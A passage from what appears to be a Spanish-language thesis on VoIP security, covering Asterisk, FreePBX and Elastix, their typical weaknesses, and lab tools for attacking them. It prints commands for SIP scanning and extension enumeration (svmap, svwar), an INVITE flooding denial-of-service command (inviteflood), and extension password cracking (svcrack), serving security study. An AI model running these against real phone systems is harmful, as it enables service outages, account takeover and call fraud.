1.7.1.1 Funcionamiento [10]
El funcionamiento de Asterisk se basa en la configuraci&oacute;n de varios ficheros que
se describen a continuaci&oacute;n.
1.7.1.1.1 extensions.conf
En este archivo se configura el plan de marcado (dial plan) que permite
determinar la forma en la que se procesar&aacute;n las distintas llamadas (entrantes y
salientes) en funci&oacute;n de los prefijos y d&iacute;gitos que marquen los usuarios.
El archivo extensions.conf est&aacute; formado fundamentalmente por secciones
conocidas como contextos en las que se agrupan los distintos perfiles de destinos
y tipos de usuarios en el plan de marcado. En el plan de marcado, mediante el
uso de prefijos, el administrador puede identificar en los contextos los destinos
posibles de las llamadas, as&iacute; como los “permisos” que distintos tipos de usuarios
tienen para llamar a esos destinos.
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1.7.1.1.2 sip.conf
El archivo sip.conf guarda la configuraci&oacute;n de los canales SIP que se crear&aacute;n
b&aacute;sicamente para que los terminales telef&oacute;nicos IP puedan registrarse en la PBX
IP y hacer uso de los recursos disponibles. Entre los par&aacute;metros que se
configuran para cada canal se encuentran: identificador del terminal, contrase&ntilde;a,
c&oacute;decs, y contexto del plan de marcado al que pertenecer&aacute; el canal. Sobra decir
que
los
terminales
telef&oacute;nicos
deber&aacute;n
configurarse
con
par&aacute;metros
correspondientes con los definidos en los canales de sip.conf.
1.7.1.2 Aplicaciones y Funcionalidades
La potencia de Asterisk se implementa mediante sus aplicaciones que se utilizan
en el plan de marcado. Estas aplicaciones se ejecutan secuencialmente en
instrucciones del plan de marcado, de acuerdo a la l&oacute;gica que se le haya dado en
la configuraci&oacute;n. Esta l&oacute;gica com&uacute;nmente implica conectar una llamada entrante
con un terminal interno o encaminar una llamada saliente hacia un terminal
destino en una red telef&oacute;nica externa. Sin embargo, esta l&oacute;gica puede involucrar
contestar la llamada para reproducir un sonido de bienvenida o de indicaciones,
esperar un tiempo para que el llamante marque un comando y finalmente terminar
la llamada en un tel&eacute;fono u ofrecer alg&uacute;n tipo de servicio. Para ofrecer estos
servicios, Asterisk posee una serie de m&oacute;dulos que proveen las aplicaciones que
se implementar&aacute;n en el plan de marcado. Entre los servicios que se podr&iacute;an
ofrecer se pueden contar los siguientes:
&middot;
Puede ser n&uacute;cleo de una central telef&oacute;nica IP o h&iacute;brida.
&middot;
Soporta conexi&oacute;n a l&iacute;neas de telefon&iacute;a tradicional mediante interfaces tipo
anal&oacute;gico (FXO), RDSI (BRI o PRI).
&middot;
Buz&oacute;n de Voz e IVR4 autom&aacute;tico.
&middot;
Desv&iacute;o, transferencia y encolamiento de llamadas.
&middot;
Registro y listados de llamadas entrantes y salientes.
&middot;
Restricci&oacute;n
de
llamadas
entrantes
y
salientes
por
par&aacute;metros
configurables.
&middot;
Registros detallados de llamadas (CDR).
4 IVR - Respuesta de voz interactiva, un sistema IVR es un preatendedor que reproduce mensajes
pregrabados de voz que permiten interactuar al usuario con las diferentes alternativas del sistema.
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&middot;
Audio-conferencias de uno o m&aacute;s usuarios simult&aacute;neamente.
&middot;
Soporte de videoconferencia con protocolos SIP e IAX2.
&middot;
Funcionalidades para integraci&oacute;n con Bases de Datos (MySQL).
&middot;
Gesti&oacute;n de aplicaciones en la conexi&oacute;n de usuarios entre su red local y la
PSTN.
1.7.2 FREEPBX
FreePBX es una interfaz gr&aacute;fica basada en web que permite la gesti&oacute;n de varias
de las funcionalidades de Asterisk. Es software libre creado a partir de la
distribuci&oacute;n de Linux llamada CentOS5.
1.7.2.1 BREVE HISTORIA
Actualmente el desarrollo de FreePBX est&aacute; a cargo de la corporaci&oacute;n Sangoma.
Este proyecto se llamaba AMP6 y se inici&oacute; hace 10 a&ntilde;os por una peque&ntilde;a
compa&ntilde;&iacute;a llamada Coalescent Systems que ofrec&iacute;a una interfaz gr&aacute;fica de usuario
para facilitar la administraci&oacute;n de Asterisk.
Desde su primer lanzamiento, versi&oacute;n 0.2 en Noviembre 28 de 2004, FreePBX ha
evolucionado de ser un simple generador de archivos de configuraci&oacute;n de
Asterisk, hasta convertirse en una plataforma de Comunicaciones Unificadas. [11]
1.7.2.2 Funcionalidades
FreePBX incluye paquetes que ofrecen funciones de telefon&iacute;a IP, fax, correo de
voz, correo electr&oacute;nico y permite la implementaci&oacute;n de manera gr&aacute;fica de varias
de las funcionalidades de Asterisk, entre ellas las siguientes:
5
6
&middot;
M&oacute;dulo de colas de llamadas.
&middot;
Condiciones de tiempo.
&middot;
Grupos de timbrado.
&middot;
Enrutamiento entrante/saliente.
&middot;
Lista de bloqueo.
&middot;
M&oacute;dulo de parqueo de llamada.
CentOS – Community ENTerprise Operating System
AMP – Portal de gesti&oacute;n de Asterisk
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&middot;
Buzones de voz.
&middot;
Panel de operador basado en Flash.
&middot;
Registros detallados de llamadas.
&middot;
Construcci&oacute;n de IVRs.
1.7.3 ELASTIX
Elastix es una distribuci&oacute;n ecuatoriana de software Libre basada en Linux, que, al
igual que FreePBX trata de integrar en una &uacute;nica soluci&oacute;n administrable v&iacute;a web,
todos los medios y herramientas disponibles para PBXs IP en Asterisk a trav&eacute;s de
un entorno amigable para el usuario.
1.7.3.1 BREVE HISTORIA
El proyecto Elastix se inici&oacute; como una interfaz de reportaci&oacute;n, para el registro de
llamadas de Asterisk. Fue liberado en Marzo del 2006, por la empresa
ecuatoriana PaloSanto Solutions [12].
Elastix se basa en CentOS y actualmente las versiones estables son Elastix 2.5.0
a 3.0.0.
1.7.3.2 FUNCIONALIDADES
Las funcionalidades b&aacute;sicas que provee Elastix son:
General
&middot;
Grabaci&oacute;n de llamadas.
&middot;
Configuraci&oacute;n de par&aacute;metros de red.
&middot;
Control de apagado/encendido de la central a trav&eacute;s de modo gr&aacute;fico.
&middot;
Control de acceso a la interfaz, basado en ACLs.
&middot;
Manejo centralizado de usuarios y perfiles gracias al soporte de ACLs.
&middot;
Soporte para copias de seguridad y la restauraci&oacute;n de las mismas a trav&eacute;s
de la Web.
PBX IP
&middot;
Grabaci&oacute;n de llamadas.
&middot;
Buz&oacute;n de voz con soporte para notificaciones por e-mail.
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&middot;
IVR Configurable y flexible.
&middot;
Soporte para s&iacute;ntesis de voz.
&middot;
Identificaci&oacute;n de llamadas.
&middot;
Parqueo, espera y cola de llamadas.
&middot;
Rutas de llamadas entrantes/salientes configurables.
&middot;
Soporte para grupos de timbrado.
&middot;
CDRs con soporte para b&uacute;squeda por diferentes criterios.
&middot;
Centro de conferencias.
&middot;
Reportes de uso de canales.
&middot;
Interfaz de configuraci&oacute;n y administrador basado en entorno Web.
Fax
&middot;
Servidor Fax basado en HylaFax administrable v&iacute;a web.
&middot;
Visor de faxes integrado con PDFs descargable.
&middot;
Aplicaci&oacute;n fax-email
Correo electr&oacute;nico
&middot;
Servidor de correo electr&oacute;nico con soporte multi-dominio.
&middot;
Cliente de correo electr&oacute;nico administrable v&iacute;a web.
&middot;
Interfaz de configuraci&oacute;n de relay.
&middot;
Soporte para manejo de listas de correo.
Extras
&middot;
Integraci&oacute;n con A2Billing para facturaci&oacute;n.
&middot;
CRM7 integrados a la interfaz como vTigerCRM y SugarCRM.
&middot;
M&oacute;dulo de Addons.
Cabe destacar que Elastix est&aacute; construido sobre Asterisk y FreePBX, e integra
una gran cantidad de m&oacute;dulos de terceros para incorporar las funcionalidades
anteriormente descritas y otras m&aacute;s. La necesidad de mantener esta gran
cantidad de m&oacute;dulos en ocasiones le hacen sumamente vulnerable.
7
CRM – (Customer Relationship Management) Gesti&oacute;n Relacional de Clientes
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1.8 VULNERABILIDADES
Y
ATAQUES
EN
SISTEMAS
DE
TELEFON&Iacute;A IP BASADOS EN ASTERISK
La gran popularidad de los sistemas de telefon&iacute;a IP (masificaci&oacute;n de su uso), la
flexibilidad que ofrecen (por ejemplo para su empleo a trav&eacute;s de Internet) y la gran
cantidad de servicios que se proporcionan y se integran en ellos han contribuido a
que se incrementen, tambi&eacute;n exponencialmente, las vulnerabilidades y los
riesgos.
La masificaci&oacute;n del uso de sistemas de telefon&iacute;a IP, as&iacute; como la importancia de la
informaci&oacute;n que se transporta (voz) conlleva inevitablemente a que existan m&aacute;s
atacantes dispuestos a vulnerar su seguridad que cuando era un servicio poco
utilizado. As&iacute; tambi&eacute;n, la posibilidad de publicar el servicio de telefon&iacute;a IP en
Internet para permitir que usuarios externos (m&oacute;viles), clientes, u otras sucursales
se conecten, incrementa la probabilidad de un ataque al servicio ya que &eacute;ste est&aacute;
p&uacute;blicamente disponible. Por otro lado, la gran cantidad de servicios de red que
se van integrando a la telefon&iacute;a (como servicio web, CRM, correo electr&oacute;nico,
etc.) muchas veces en el mismo servidor, incrementan significativamente los
flancos de ataque.
A continuaci&oacute;n se describen algunas de las principales vulnerabilidades de los
servicios de telefon&iacute;a IP basados en Asterisk, aunque muchas de ellas son
perfectamente extrapolables a otros sistemas propietarios.
1.8.1 TRANSMISI&Oacute;N EN TEXTO PLANO
La informaci&oacute;n que se transporta durante las distintas interacciones entre los
terminales telef&oacute;nicos y la PBX IP puede ser muy cr&iacute;tica. Esa informaci&oacute;n abarca
par&aacute;metros de autenticaci&oacute;n (identificador de terminal y contrase&ntilde;a) que permiten
a un terminal telef&oacute;nico registrarse (se&ntilde;alizaci&oacute;n SIP) en la PBX para hacer uso
de los recursos que ofrece. Esto, sin olvidar que la voz que se transporta durante
una conversaci&oacute;n telef&oacute;nica puede ser capturada e interpretada f&aacute;cilmente por un
atacante al capturar ese tr&aacute;fico en la red.
En los servicios de telefon&iacute;a IP, tanto la se&ntilde;alizaci&oacute;n como los datos (la voz) se
transportan por defecto en texto claro, es decir, sin usar ning&uacute;n tipo de cifrado.
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Esto hace a los sistemas de telefon&iacute;a IP en general vulnerables a ataques de
sniffing8 que pueden llevarse a cabo al tomar el control de un switch o mediante
un ataque de “Hombre en el Medio” o Man in the Middle (MitM)9.
1.8.2 FUGA DE INFORMACI&Oacute;N
La vulnerabilidad de fuga de informaci&oacute;n se refiere a la disponibilidad de ciertos
datos de un servicio que podr&iacute;an ser utilizados por atacantes para vulnerarlo.
Entre los datos que pueden quedar a la vista se puede mencionar: versiones de
servicios instalados, datos de configuraci&oacute;n del sistema (por ejemplo, direcciones
IP), lista de extensiones configuradas, entre otros.
1.8.2.1 PUBLICACI&Oacute;N DE SERVICIOS DE GESTI&Oacute;N EN INTERNET
Las empresas suelen publicar sus servicios a trav&eacute;s de direcciones IP p&uacute;blicas
para facilitar la administraci&oacute;n desde cualquier lugar. Usualmente, como en Elastix
y FreePBX, se usa para ello una aplicaci&oacute;n web que permite administraci&oacute;n
remota gr&aacute;fica del servicio de telefon&iacute;a IP. Aunque la gesti&oacute;n remota pueda
significar una facilidad para el administrador, en este escenario representa un
serio riesgo para la seguridad del sistema telef&oacute;nico pues supone hacer visible en
Internet dos servicios de red (el servicio de telefon&iacute;a IP y el servicio web de
gesti&oacute;n) que pueden ser sujetos de ataque.
1.8.2.2 CONFIGURACI&Oacute;N POR DEFECTO
Debido a lo complejo que puede resultar la puesta a punto de un sistema
telef&oacute;nico, muchos par&aacute;metros de su configuraci&oacute;n vienen establecidos por
defecto.
Algunos
de
estos
par&aacute;metros
prestablecidos
implementan
funcionalidades que pueden resultar en vulnerabilidades de fuga de informaci&oacute;n
en un sistema telef&oacute;nico.
En la configuraci&oacute;n de Asterisk, por ejemplo, en el archivo sip.conf, la opci&oacute;n
alwaysauthreject ven&iacute;a configurada por defecto en no. Esta configuraci&oacute;n
hace que el sistema telef&oacute;nico, en un intento fallido de autenticaci&oacute;n en el registro
8
Sniffing - Es una t&eacute;cnica que permite capturar todo el tr&aacute;fico (paquetes) en una red,
generalmente por seguridad inform&aacute;tica.
9 MitM – Man in the Middle es un ataque pasivo que permite leer, insertar y modificar el tr&aacute;fico de
una red LAN o WAN sin que las v&iacute;ctimas lo noten y se utiliza diferentes t&eacute;cnicas.
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de un terminal, responda de una manera cuando el identificador de terminal usado
existe y de otra manera cuando el identificador de terminal usado no existe.
Consecuentemente, la PBX en el proceso de registro fallido le revela al atacante
si el identificador de terminal que est&aacute; usando existe o no.
Revelar esta informaci&oacute;n facilita significativamente ataques de enumeraci&oacute;n en
los que se intenta adivinar los n&uacute;meros de “extensiones” (en Asterisk
identificadores de terminal) que existen en el sistema telef&oacute;nico. El ataque se
simplifica a&uacute;n m&aacute;s considerando que los identificadores que se usan para los
terminales est&aacute;n asociados directamente con el n&uacute;mero que sirve para llamarles,
adem&aacute;s que los patrones num&eacute;ricos usados son sumamente predecibles.
Ya que esta configuraci&oacute;n por defecto afectaba a Asterisk, era un problema de
todas las distribuciones que se derivan de esta aplicaci&oacute;n como FreePBX y
Elastix.
1.8.2.3 BANNERS DE SERVICIOS DE TELEFON&Iacute;A IP [13]
Una de las principales vulnerabilidades con respecto a la fuga de informaci&oacute;n est&aacute;
relacionada con los banners que ofrecen por defecto las implementaciones de
ciertos servicios de red. Estos banners pueden revelar informaci&oacute;n relacionada
con los nombres y las versiones de los servicios que se encuentran funcionando a
trav&eacute;s de determinados puertos. Con esta informaci&oacute;n un atacante podr&iacute;a
descubrir que un servicio se encuentra desactualizado y que, por tanto ser&iacute;a
vulnerable.
Para facilitar a&uacute;n m&aacute;s la explotaci&oacute;n de esta vulnerabilidad, se puede encontrar
en Internet algunas herramientas que simplifican significativamente el trabajo de
un atacante al buscar sistemas de telefon&iacute;a IP accesibles p&uacute;blicamente mediante
los banners de los servicios telef&oacute;nicos. Entre estas herramientas se tiene los
mismos motores de b&uacute;squeda (Google, por ejemplo) que en sus opciones
avanzadas permiten buscar determinados patrones en los banners de las
interfaces web de gesti&oacute;n para identificar a aquellos que pertenecen a sistemas
de telefon&iacute;a IP. Existen tambi&eacute;n otros buscadores, como Shodan [14], orientados
espec&iacute;ficamente a la b&uacute;squeda de dispositivos funcionando con determinados
servicios, como el de telefon&iacute;a IP.
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1.8.3 CONTRASE&Ntilde;AS D&Eacute;BILES O POR DEFECTO
Durante el proceso de registro de un terminal en una PBX IP mediante
se&ntilde;alizaci&oacute;n SIP se realiza la autenticaci&oacute;n de este terminal en dicha PBX. Esta
autenticaci&oacute;n es fundamental para la seguridad del sistema telef&oacute;nico puesto que
valida al terminal telef&oacute;nico para que pueda hacer uso de los servicios que ofrece
la PBX (llamadas a tel&eacute;fonos m&oacute;viles, internacionales, etc). Una vulnerabilidad en
ese proceso de autenticaci&oacute;n podr&iacute;a permitir que un atacante haga uso indebido
de los recursos telef&oacute;nicos.
La primera vulnerabilidad respecto al proceso de autenticaci&oacute;n descrito radica en
la transmisi&oacute;n por defecto no cifrada de los mensajes de se&ntilde;alizaci&oacute;n.
Otra vulnerabilidad relacionada con las contrase&ntilde;as tiene que ver con la pr&aacute;ctica
com&uacute;n de los administradores de usar como contrase&ntilde;a el mismo n&uacute;mero que se
utiliza para identificar al terminal o extensi&oacute;n. Considerando que para los n&uacute;meros
de extensi&oacute;n se usan ya patrones muy predecibles, usar esos mismos n&uacute;meros
como contrase&ntilde;as resulta en una vulnerabilidad grave.
Finalmente, la vulnerabilidad de las contrase&ntilde;as, se extiende a los servicios
adicionales con los que se integra el servicio de telefon&iacute;a IP. En el caso de
FreePBX y Elastix, se incorpora el servicio de administraci&oacute;n web, el de correo
electr&oacute;nico y el de VTigerCRM. Estos servicios vienen instalados con usuarios y
contrase&ntilde;as por defecto y conocidas. Muchos de los ataques exitosos a estas
plataformas han sido posibles gracias al uso de los privilegios obtenidos al entrar
al sistema con estos usuarios [15]. Un ejemplo evidente de este problema se
manifiesta en las versiones anteriores a la 2.0.0 de Elastix en la que para el
acceso a la interfaz web de gesti&oacute;n se usaba una contrase&ntilde;a por defecto que
adem&aacute;s era el nombre de la empresa que desarrolla esta plataforma de telefon&iacute;a.
1.8.4 MALA POL&Iacute;TICA DE PRIVILEGIOS
Como ya se ha explicado previamente, el plan de marcado en Asterisk se
estructura en base a secciones llamadas contextos. En estos contextos se usan
prefijos para agrupar las instrucciones que permitir&aacute;n encaminar una llamada
hacia los distintos destinos posibles (red de telefon&iacute;a fija, m&oacute;vil, internacional,
etc.). Adem&aacute;s, se agrupan en contextos las instrucciones que permitir&aacute;n que
25
terminales de distintas categor&iacute;as jer&aacute;rquicas (gerentes, secretarias, t&eacute;cnicos,
etc.) puedan realizar llamadas a los destinos disponibles en funci&oacute;n de la
jerarqu&iacute;a del usuario. La configuraci&oacute;n del plan de marcado resulta cr&iacute;tica porque
en &eacute;ste se define qui&eacute;nes podr&aacute;n llamar a trav&eacute;s de la PBX y los posibles
destinos.
De esa manera, es f&aacute;cil entender que una configuraci&oacute;n inadecuada del plan de
marcado podr&iacute;a permitir que un atacante externo (desde la PSTN o Internet) que
llama a la PBX pueda sacar llamadas hacia otros destinos utilizando una troncal
disponible. Por ejemplo, un atacante podr&iacute;a llamar a la PBX y, una vez que la
operadora autom&aacute;tica le contesta, no marcar el n&uacute;mero de una extensi&oacute;n sino un
n&uacute;mero internacional. Si est&aacute; mal configurado el plan de marcado, el atacante
podr&iacute;a hacer una llamada internacional al costo de la llamada local que realiza a
la central.
1.8.5 DENEGACI&Oacute;N DE SERVICIOS (DOS)
El ataque de denegaci&oacute;n de servicio consiste en inhibir un servicio para evitar que
un usuario leg&iacute;timo haga uso de &eacute;ste. Usualmente se implementa generando
grandes cantidades de peticiones al servicio o dispositivo objetivo con el fin de
saturar los recursos disponibles (procesador, memoria, etc.). Al saturar estos
recursos, las peticiones de servicio de usuarios leg&iacute;timos no podr&aacute;n ser atendidas.
Al igual que otros servicios de red, el servicio de telefon&iacute;a IP es susceptible de
ataques de DoS.
En telefon&iacute;a IP existen diferentes tipos de ataques de DoS que consisten en
generar peticiones excesivas del tipo INVITE (SIP) o SYN (TCP), por ejemplo.
1.8.6 ATAQUES GENERADOS POR EXPLOITS
Un exploit es un programa o c&oacute;digo que &quot;explota&quot; una vulnerabilidad del sistema o
parte de &eacute;l, se lo considera la llave para obtener acceso a un sistema.
El objetivo de un exploit es proporcionar los permisos necesarios para poder
ejecutarse en un sistema y adem&aacute;s alg&uacute;n tipo de facultad al atacante que puede
conseguir un comportamiento diferente en el sistema vulnerado.
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1.8.7 INYECCI&Oacute;N DE C&Oacute;DIGO PHP
Entre las principales vulnerabilidades que afectan a los servicios de telefon&iacute;a IP
actuales se encuentran ir&oacute;nicamente aquellas que corresponden a los servicios
complementarios que se integran, como el de gesti&oacute;n v&iacute;a web. Al filtrar
inadecuadamente las entradas del usuario que se le solicitan en forma de
credenciales para acceder a un servicio web. La inyecci&oacute;n de c&oacute;digo PHP podr&iacute;a
permitir el acceso a ficheros confidenciales del sistema as&iacute; como acceso al propio
servidor y posiblemente ejecutar el c&oacute;digo insertado.
Ataques sobre esta vulnerabilidad podr&iacute;an permitir incluso la revelaci&oacute;n de toda la
informaci&oacute;n confidencial del servidor como contrase&ntilde;as de usuarios, extensiones,
etc. Las interfaces web de Elastix y FreePBX han sufrido hist&oacute;ricamente de esta
vulnerabilidad.
1.9 HERRAMIENTAS PARA AN&Aacute;LISIS DE VULNERABILIDADES
EN TELEFON&Iacute;A IP
Las herramientas que se describen a continuaci&oacute;n permiten implementar en un
escenario controlado algunos de los ataques m&aacute;s comunes sobre sistemas de
telefon&iacute;a IP, especialmente aquellos basados en Asterisk.
1.9.1 HERRAMIENTAS DE SNIFFING
Sniffing es una t&eacute;cnica que permite capturar todo el tr&aacute;fico (paquetes) en una red,
generalmente para seguridad inform&aacute;tica. Sin embargo &eacute;sta t&eacute;cnica se usa
malintencionadamente, la persona que lo realiza se denomina sniffer para los dos
casos. Existen diferentes tipos de herramientas para realizar la t&eacute;cnica de sniffing,
que les permite capturar, analizar y almacenar todos los paquetes como,
Tcpdump y Wireshark que se detallan a continuaci&oacute;n. [16]
1.9.1.1 Tcpdump [17]
Tcpdump es una herramienta de c&oacute;digo libre que est&aacute; disponible para sistemas
operativo Windows, Unix, Linux, Mac OS X. Se ejecuta mediante l&iacute;nea de
comandos para capturar, analizar y almacenar (archivo .pcap) paquetes en tiempo
real. Por defecto solo guarda los 68 Kbytes de cada paquete, esto se puede
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cambiar con el argumento –s0 que determina el almacenamiento de todo el
paquete.
Posee gran variedad de par&aacute;metros como, -i que permite especificar la interfaz en
la que se requiere capturar el tr&aacute;fico, ver C&oacute;digo 1.1.
Las expresiones principales para tcpdump son tres: type, dir y proto. Y las
opciones para las expresiones son: host, net y port respectivamente.
Por ejemplo, el uso de una de las expresiones podr&iacute;a ser: especificar la direcci&oacute;n
de paquetes con dir que puede tener como argumentos src (direcci&oacute;n o puerto
origen) o dst (direcci&oacute;n o puerto destino). Asimismo, proto especifica el tipo tr&aacute;fico
(tcp, udp o icmp) y port el tipo de puerto.
En el C&oacute;digo 1.1, se puede observar ejemplos b&aacute;sicos de aplicaci&oacute;n de los
argumentos.
#tcpdump –i eth0
Captura todo el tr&aacute;fico de la interfaz de red eth0
#tcpdump dst port 22
Capturar el tr&aacute;fico con destino al puerto 22
C&oacute;digo 1.1 Argumentos para ejecuci&oacute;n de tcpdump
1.9.1.2 Wireshark [18] [19]
Es una herramienta que cuenta con todas las caracter&iacute;sticas de un analizador de
protocolos, se usa para identificar y realizar an&aacute;lisis de cualquier tipo de tr&aacute;fico
sobre redes de comunicaciones. Actualmente est&aacute; disponible para plataformas
Windows, Unix, Linux, Mac OS X, Android. Utiliza pcap10 para capturar paquetes.
Adicional a la versi&oacute;n gr&aacute;fica, incluye una versi&oacute;n en l&iacute;nea de comandos
denominada Tshark.
10
Pcap – Interfaz de programaci&oacute;n de aplicaciones para captura de paquetes
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1.9.1.3 Caracter&iacute;sticas Principales
&middot;
Puede detectar llamadas SIP autom&aacute;ticamente mientras captura el tr&aacute;fico,
y permite escucharlas mediante la herramienta VoIP.
&middot;
Wireshark es un software que comprende la estructura de los diferentes
protocolos de red, lo que permite representar cada una de las cabeceras y
capas que forman los paquetes capturados.
&middot;
Incluye un completo lenguaje para filtrar paquetes de acuerdo a criterios
definidos.
&middot;
Posee funciones gr&aacute;ficas que identifican mediante el uso de colores a cada
uno de los diferentes tipos de paquetes que cumplen con los filtros
establecidos.
&middot;
Admite la creaci&oacute;n de estad&iacute;sticas.
1.9.2 HERRAMIENTAS DE ESCANEO Y ENUMERACI&Oacute;N
1.9.2.1 Nmap [20]
Nmap es una herramienta de c&oacute;digo libre que funciona en sistemas operativos
Windows, Unix, Linux, Mac OS X. Esta herramienta permite realizar el escaneo,
detecci&oacute;n, administraci&oacute;n y auditor&iacute;a en una red.
Particularmente permite realizar un reconocimiento de sistemas activos (vivos) y
no activos, y sus caracter&iacute;sticas como: sistema operativo, puertos abiertos,
servicios y aplicaciones activas. Un comando b&aacute;sico con el argumento por defecto
(ver C&oacute;digo 1.2) da como resultado los puertos TCP abiertos; adem&aacute;s se puede
estructurar argumentos complejos de acuerdo a las necesidades (ver C&oacute;digo 1.2).
#nmap 192.168.2.0/24
Arroja los puertos abiertos TCP de las direcciones activas de la
direcci&oacute;n de red 192.168.2.0/24
#nmap –sU –sT –sV –O 192.168.2.0/24
-sU Buscar puertos UDP abiertos
-sT Buscar puertos TCP abiertos
-sV Detecta las versiones de los servicios
-O Intenta identificar el sistema operativo
C&oacute;digo 1.2 Argumento para la ejecuci&oacute;n de nmap
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1.9.2.2 Svmap [21] [22]
Svmap es una de las herramientas de la suite SipVicious [23] , es un esc&aacute;ner que
permite identificar dispositivos SIP activos en una red, la informaci&oacute;n que obtiene
es la direcci&oacute;n IP y el identificador de usuario SIP (User Agent) que por defecto
b&aacute;sicamente muestra la versi&oacute;n de la aplicaci&oacute;n de telefon&iacute;a.
Svmap realiza el env&iacute;o de paquetes UDP que contienen peticiones SIP, a una
direcci&oacute;n o un rango de direcciones IP que se especifican en el argumento (ver
C&oacute;digo 1.3) de la herramienta. Esto da como resultado una lista de las direcciones
IP que responden a la solicitud. Puede utilizar el m&eacute;todo REGISTER o INVITE en
lugar de su m&eacute;todo por defecto OPTIONS.
#svmap –m INVITE 192.168.2.0/24 -vv
-m Permite especificar el m&eacute;todo que se desea utilizar
-v Permite obtener m&aacute;s detalle de informaci&oacute;n en el escaneo, se
debe ver la informaci&oacute;n debug que muestra
C&oacute;digo 1.3 Par&aacute;metros para ejecuci&oacute;n de svmap
1.9.2.3 Svwar [21] [24]
Es un esc&aacute;ner de extensiones para servidores PBX, su objetivo es obtener las
extensiones activas en el servidor. Realiza el escaneo mediante un rango dado de
posibles n&uacute;meros de extensiones o su valor por defecto (1-999), puede utilizar
diferentes m&eacute;todos, REGISTER, INVITE y OPTIONS (ver C&oacute;digo 1.4). Es una
herramienta de c&oacute;digo libre que forma parte de la suite SipVicious.
#svwar –e2000-3000 192.168.2.1 –m INVITE
-e Permite especificar un rango de n&uacute;meros para las
extensiones
-m Permite especificar el m&eacute;todo que se desea utilizar
#svwar –-force 192.168.2.1
--force Permite comprobar
realmente escuchando
que
el
servidor
PBX
C&oacute;digo 1.4 Par&aacute;metros para ejecuci&oacute;n de svwar
se
encuentre
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1.9.3 HERRAMIENTAS DE CREACI&Oacute;N DE PAQUETES
1.9.3.1 Invite Flooder
Es una herramienta usada para realizar ataques de denegaci&oacute;n de servicio (DoS),
mediante el env&iacute;o excesivo (inundaci&oacute;n) de solicitudes SIP falsas del tipo INVITE
a sistemas PBX. El prop&oacute;sito de este ataque es evitar el correcto funcionamiento
de un sistema, los terminales de un servidor PBX no podr&aacute;n realizar ni recibir
llamadas, por la saturaci&oacute;n de los recursos causada por la inundaci&oacute;n de
peticiones.
En el C&oacute;digo 1.5, se indica los par&aacute;metros para el argumento que se le debe dar a
inviteflood.
root@kali:~# inviteflood eth0 100 victima gateway 3000
eth0
Indica
la
interfaz
de
red
por
la
cual
se
env&iacute;a
las
solicitudes
100 Indica el n&uacute;mero de extensi&oacute;n a la que se le va a enviar
las solicitudes
Victima Indica la direcci&oacute;n IP que est&aacute; registrada la extensi&oacute;n
Gateway Indica la direcci&oacute;n IP del servidor PBX
C&oacute;digo 1.5 Par&aacute;metros para ejecuci&oacute;n de inviteflood
1.9.3.2 SIPp [25]
Es una herramienta de c&oacute;digo libre para realizar pruebas de rendimiento para el
protocolo SIP, ayuda a simular y generar tr&aacute;fico SIP (iniciar, establecer y terminar
una llamada).
El proceso se basa en el env&iacute;o de solicitudes REGISTER al servidor PBX, puede
generar una o varias llamadas en un sistema PBX remoto.
1.9.4 HERRAMIENTAS DE EXPLOTACI&Oacute;N DE VULNERABILIDADES
1.9.4.1 Svcrack [21]
Es una herramienta que permite conseguir las contrase&ntilde;as de las extensiones
que pertenecen a un servidor PBX. Puede encontrar las contrase&ntilde;as mediante el
m&eacute;todo por defecto (verifica la contrase&ntilde;a con el mismo n&uacute;mero de extensi&oacute;n
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encontrado) o a trav&eacute;s de un diccionario. Svcrack es una herramienta de c&oacute;digo
libre que forma parte de la suite SipVicious.
Su funcionamiento se basa en el env&iacute;o de solicitudes SIP de tipo REGISTER para
registrar una extensi&oacute;n, y espera a que el servidor le responda con la solicitud de
autenticaci&oacute;n para probar de esta forma todas las opciones que se contemplan en
el modo por defecto o el uso del diccionario. Este proceso lo realiza hasta obtener
una contrase&ntilde;a v&aacute;lida o hasta que se terminen las opciones que se contemplaron.
En el C&oacute;digo 1.6, se indica los par&aacute;metros para el uso de svcrack.
root@kali:~# svcrack -u100
192.168.2.1
root@kali:~# svcrack -u100 -d dictionary.txt 192.168.2.1
-u Permite especificar la extensi&oacute;n
-d Permite usar un diccionario
C&oacute;digo 1.6 Par&aacute;metros para ejecuci&oacute;n de svcrack
1.9.4.2 John the Ripper [26]
Es una herramienta de c&oacute;digo libre muy utilizada para ataques de fuerza bruta
(para descifrar contrase&ntilde;as mediante combinaciones de palabras) y de
diccionario; y es capaz de detectar el tipo de cifrado para conseguir las
contrase&ntilde;as.
John the Ripper es usualmente la herramienta adecuada que los administradores
de cualquier sistema prefieren para probar la seguridad de sus contrase&ntilde;as
evitando el uso de contrase&ntilde;as d&eacute;biles que los pongan en riesgo.
1.9.4.3 ARPspoof [27]
ARPspoof es una herramienta que permite inundar la red con paquetes ARP11
falsos, que relacionan la direcci&oacute;n MAC del atacante con la direcci&oacute;n IP de la
v&iacute;ctima. Su objetivo es normalmente implementar un ataque de hombre en el
medio y su funcionamiento se basa en el protocolo ARP.
11
ARP – Protocolo de resoluci&oacute;n de direcciones de capa 2 del modelo OSI se encarga de
encontrar la direcci&oacute;n MAC que corresponde a una direcci&oacute;n IP.
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Cuando una m&aacute;quina intenta enviar un ping a una direcci&oacute;n IP en una red local, el
sistema debe asociar &eacute;sta direcci&oacute;n IP con la Direcci&oacute;n MAC para eso se usa
ARP. El sistema mantiene una tabla ARP que almacena la informaci&oacute;n de las
direcciones IP asociadas con las direcciones MAC. En el momento en que se
desea enviar el paquete a una direcci&oacute;n IP, primero se consulta la tabla ARP para
ver si conoce la direcci&oacute;n MAC, si la conoce ya no se usa ARP. Y si la direcci&oacute;n
MAC no se encuentra en la tabla ARP, el sistema env&iacute;a un paquete de difusi&oacute;n a
la red mediante el protocolo ARP, como es un mensaje de difusi&oacute;n se env&iacute;a a una
MAC especial (FF:FF:FF:FF:FF:FF) que hace que todas las m&aacute;quinas de la red
reciban el mensaje. De tal modo que la m&aacute;quina con la direcci&oacute;n IP solicitada
responde con un paquete ARP indicando que es la direcci&oacute;n que se buscaba e
incluye en el paquete ARP su direcci&oacute;n MAC.
ARPspoof inunda la red con paquetes ARP que indican que la MAC del atacante
est&aacute; asociada a la direcci&oacute;n IP de la v&iacute;ctima y adem&aacute;s a la direcci&oacute;n IP del
servidor PBX. Por lo tanto, cuando se requiere enviar un paquete al servidor PBX,
no le llega al servidor sino al atacante y de igual forma cuando se env&iacute;a
informaci&oacute;n a la v&iacute;ctima &eacute;sta se dirige al atacante.
En el C&oacute;digo 1.7, se indica los par&aacute;metros para la ejecuci&oacute;n de la herramienta
arpspoof.
